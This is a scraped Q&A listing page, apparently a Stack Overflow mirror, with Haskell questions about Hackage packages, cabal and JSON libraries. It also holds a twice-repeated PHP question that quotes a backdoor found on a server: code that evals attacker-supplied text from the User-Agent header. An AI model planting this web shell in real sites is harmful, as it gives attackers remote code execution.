hackage

Commutative monoid from 'algebra' package on Hackage

China☆狼群 提交于 2019-12-07 03:30:40
问题 The documentation for algebra/2.1.1.2/doc/html shows a colossal number of type classes. How do I declare that a structure in question must be equipped with a commutative associative operation and a unit/identity element, but without anything else (inverses, distributivity etc)? I'm thinking of reduce :: Monoid m => (a -> m) -> [a] -> m but instances of Data.Monoid are not supposed to be commutative and I want users of my function to see that they need commutativity for the function to work by

A suspicious PHP file might

我是研究僧i 提交于 2019-12-06 15:06:25
问题 I'm searching for your help today to get some help about a file I founded in my FTP this morning. I'm not a professionnal in all those PHP functions so this is why I post it here. The thing I found was a file named index.php in a sub-images folder. There is the raw code : <?php if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; } ?> The two PHP functions eregi(); -> http://php.net/manual/en/function.eregi.php

Blacklisting your own faulty hackage release

五迷三道 提交于 2019-12-05 10:52:12
问题 I've accidentally uploaded a faulty distribution and tried to reupload it right away, but cabal replied with: This version of the package has already been uploaded. As a matter of policy we do not allow package tarballs to be changed after a release (so we can guarantee stable md5sums etc). The usual recommendation is to upload a new version, and if necessary blacklist the existing one. In extraordinary circumstances, contact the administrators. Okay, I've incremented the version and uploaded

mysterious cabal-install problems

ⅰ亾dé卋堺 提交于 2019-12-05 02:01:41
With a clean install of the "Haskell Platform". (OS X Snow-Leopard & Platform 2010.1.0.1), doing this causes simple sequence causes very weird cabal install behaviour: $ cabal install time $ cabal install random $ ghc-pkg list random /Library/Frameworks/GHC.framework/Versions/612/usr/lib/ghc-6.12.1/package.conf.d random-1.0.0.2 /Users/yairc/.ghc/i386-darwin-6.12.1/package.conf.d random-1.0.0.2 random-1.0.0.2 is installed twice in my system. and now doing cabal install random reinstalls random-1.0.0.2 every time. Looks like random depends on time , and cabal wants to reinstall it after there's

A suspicious PHP file might

耗尽温柔 提交于 2019-12-04 22:58:29
I'm searching for your help today to get some help about a file I founded in my FTP this morning. I'm not a professionnal in all those PHP functions so this is why I post it here. The thing I found was a file named index.php in a sub-images folder. There is the raw code : <?php if (eregi("final",$_SERVER['HTTP_USER_AGENT'])) { eval(str_replace('Mozilla/5.0 (3.1.final) ','',$_SERVER['HTTP_USER_AGENT'])); die; } ?> The two PHP functions eregi(); -> http://php.net/manual/en/function.eregi.php eval(); -> http://php.net/manual/en/function.eval.php For the function eval() they are saying that it is

Blacklisting your own faulty hackage release

假如想象 提交于 2019-12-03 22:53:27
I've accidentally uploaded a faulty distribution and tried to reupload it right away, but cabal replied with: This version of the package has already been uploaded. As a matter of policy we do not allow package tarballs to be changed after a release (so we can guarantee stable md5sums etc). The usual recommendation is to upload a new version, and if necessary blacklist the existing one. In extraordinary circumstances, contact the administrators. Okay, I've incremented the version and uploaded the correct distro, but now I am interested in blacklisting the faulty release, as suggested. However

Which Haskell package for JSON

假装没事ソ 提交于 2019-12-03 22:06:08
There are about a dozen JSON packages on Hackage for Haskell. How do I know which package I should use? How do I get a popular opinion? Are there any statistics on which package is being used the most, downloaded the most, etc.? The other answers are obsolete I think, today it is widely accepted I think that the best JSON library and the de-facto standard in Haskell is Aeson: http://hackage.haskell.org/package/aeson The maintainer is Brian O'Sullivan, known for his deep knowledge of Haskell and his performance-oriented work; there is no question it's the right choice. In addition Aeson offers

Control.Monad.State found in multiple packages haskell

丶灬走出姿态 提交于 2019-12-02 18:13:36
While evaluating the line "import Control.Monad.State" in a Haskell module, GHC gives me the following error: Could not find module `Control.Monad.State': it was found in multiple packages: monads-fd-0.0.0.1 mtl-1.1.0.2 Failed, modules loaded: none. How do I resolve this conflict? Reid Barton You have several options. Either: ghc-pkg hide monads-fd . This will cause GHC and GHCi to ignore the presence of the monads-fd by default until you later ghc-pkg expose monads-fd , but software installed by Cabal will still be able to build against it. Use the {-# LANGUAGE PackageImports #-} pragma, and

Does a useful Haskell HashMap/HashTable/Dictionary library exist?

痞子三分冷 提交于 2019-12-01 03:54:01
I'm looking for a monad-free, constant access query O(1) associative array. Consider the hypothetical type: data HT k v = ??? I want to construct an immutable structure once: fromList :: Foldable t, Hashable k => t (k,v) -> HT k v I want to subsequently query it repeatedly with constant time access:: lookup :: Hashable k => HT k v -> k -> Maybe v There appears to be two candidate libraries which fall short: unordered-containers hashtables unordered-containers unordered-containers contains both strict and lazy variants of the type HashMap . Both HashMap s have O(log n) queries as documented by